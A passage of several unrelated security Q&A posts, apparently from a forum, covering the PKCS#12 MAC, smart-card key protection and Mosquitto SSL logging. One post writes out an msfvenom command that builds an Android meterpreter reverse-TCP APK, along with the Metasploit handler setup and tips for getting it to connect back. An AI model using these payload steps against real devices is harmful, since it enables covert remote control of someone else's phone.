         as described in Section 5, the MAC is computed from the authSafe
         value and the MAC key via HMAC [11] [20].   ...

No alternative is allowed for.

Although I don't think it's clearly stated anywhere, the AlgorithmIdentifier in the DigestInfo identifies the hash used in the PBMAC, not the PBMAC itself; in fact it can't identify the PBMAC as there is no OID defined for this PBMAC, whereas there are OIDs (in Appendix C) for the 'password privacy' (encryption) schemes (and also parameters suitable for an AlgorithmIdentifier). Thus there is no place you could provide the information about an alternative PBMAC that the recipient/reader needs to know about and use. (Whereas your PKCS8 shroudedkeybag(s), and also PKCS7-encrypted certbag(s) if you follow the usual practice, can have PBES2+parameters in their AlgorithmIdentifier.)

Confirming this, appendix C says:

  This section is here for two reasons: first, to enable backwards
     compatibility as described in the first paragraph of this section;
     second, because it is still used in password integrity mode.  In
     order to not use it in password integrity mode, the ASN.1 definitions
     require updates.  This document recommends that future definitions of
     the PFX structure replace the existing MacData object, optionally
     present in password integrity mode, with a new object definition that
     holds a MAC based on PKCS#5 [13] [22] PBMAC1 message authentication
     scheme.  This change would simplify the requirements for key
     derivation functions used across all parts of the PFX structure.

which explicitly says your idea is a good one but not presently possible. This paragraph is added relative to the RSALabs original document, and is almost the only such substantive change.

Also, a nit: the MAC doesn't cover the 'whole file', only the AuthenticatedSafe. This excludes the version and the ContentInfo 'wrapper' (tags & lengths & OID), and of course excludes the MAC itself and the outer SEQUENCE tag & length.


(exploit) reverse_tcp won't connect? okay so i'm a little bit new into exploiting etc but i can't seem to understand why i'm not able to create a connection with my phone and the kali handler of tcp

Here is what i do: First i make the apk

root@kali:~# msfvenom -p android/meterpreter/reverse_tcp LHOST=**(MYIP)** LPORT=**(MYPORT)** R >shell.apk

No platform was selected, choosing Msf::Module::Platform::Android from the payload
No Arch selected, selecting Arch: dalvik from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 8326 bytes

Then i setup the exploit:

msf > use multi/handler

msf exploit(handler) > set payload android/meterpreter/reverse_tcp

payload => android/meterpreter/reverse_tcp

msf exploit(handler) > set LHOST **(MYIP)**

LHOST => **(MYIP)**

msf exploit(handler) > set LHOST **(MYPORT)**

LHOST => **(MYPORT)**

msf exploit(handler) > exploit

[*] Started reverse TCP handler on **(MYIP):(MYPORT)**

[*] Starting the payload handler...

Then I execute shell.apk on my samsung s7 edge and it can't seem to connect to the payload.

Can someone please help?

Make sure you and the device are connected on the same network. Also, the application needs to be running in the background. Did you launch the app on your Samsung S7 after your started the exploit? I think the android app is called "MainActivity".


Accesing private information in PKI Smart Card without PIN Cryptographic smart cards such as https://www.acs.com.hk/download-manual/5997/FSP-ACOS5-64-1.04.pdf claims that they provide secure digital-signing and encryption.

If, my smart card were stolen by someone who doesn't know my PIN, how hard it is for them to acquire my private key stored in smart card, or sign/encrypt/decrypt on my behalf

That depends. On the actual card you are using and on the way the card was initialised and the key and PIN configured.

There are two roads a thief could go, to use your key

Firstly, he could just try to use the card the way it is intended, using its official interface (ususally PKCS#11 or PC/SC). Most of the time, usage of a key is protected by a PIN and the PIN has a retry counter (somewhere between 3 and 10, depending on the length of the PIN) which completely blocks the PIN (and thus the key) once reached. So if the card has been configured properly, this should prevent anyone from brute-forcing the PIN

Secondly, a more technically inclined thief could try to circumvent the smartcard's operating system and try to access its flash memory directly. If that is hard-but-doable, very hard or impossible depends on the card used. A lot of cards do have security certifications, which include some (or a lot of) physical protection of the key used. Look out for security certifications of the smartcard (FIPS 140-2 or CC-EAL), those are a good sign that the hardware might be somehow protected (and a lot more expensive)


How to make OpenSSL errors more verbose for MQTT client? I have 2 servers, with a very similar installation (one on Debian 8.7, the other on Debian 8.8).

On the first server, when I try to subscribe to a MQTT topic over ssl :

mosquitto_sub -h localhost -t test -p 8883 --cafile /etc/mosquitto/certs/selfsigned.pem -d

I get this clear message which seems to come from OpenSSL (I already know the reason of the error, it is not the goal of my question) :

Client mosqsub/9647-CIEYY2T7 sending CONNECT
OpenSSL Error: error:14090086:SSL routines:SSL3_GET_SERVER_CERTIFICATE:certificate verify failed
Error: Protocol error

On the other server, for the exact same command, I get only this obscure message without the "OpenSSL" explanation :

Unable to connect (8).

So how could I make openssl more verbose ?

Ok, here is the answer and it's not related to OpenSSL.

When you install Mosquitto from debian repositories, it gets you a v1.3.4-2 which is really old and not working as intended, at least in terms of SSL logs.

So just install the latest Mosquitto (v1.4.11 today) from the mosquitto.org repository, and you will get the full output :
https://mosquitto.org/2013/01/mosquitto-debian-repository/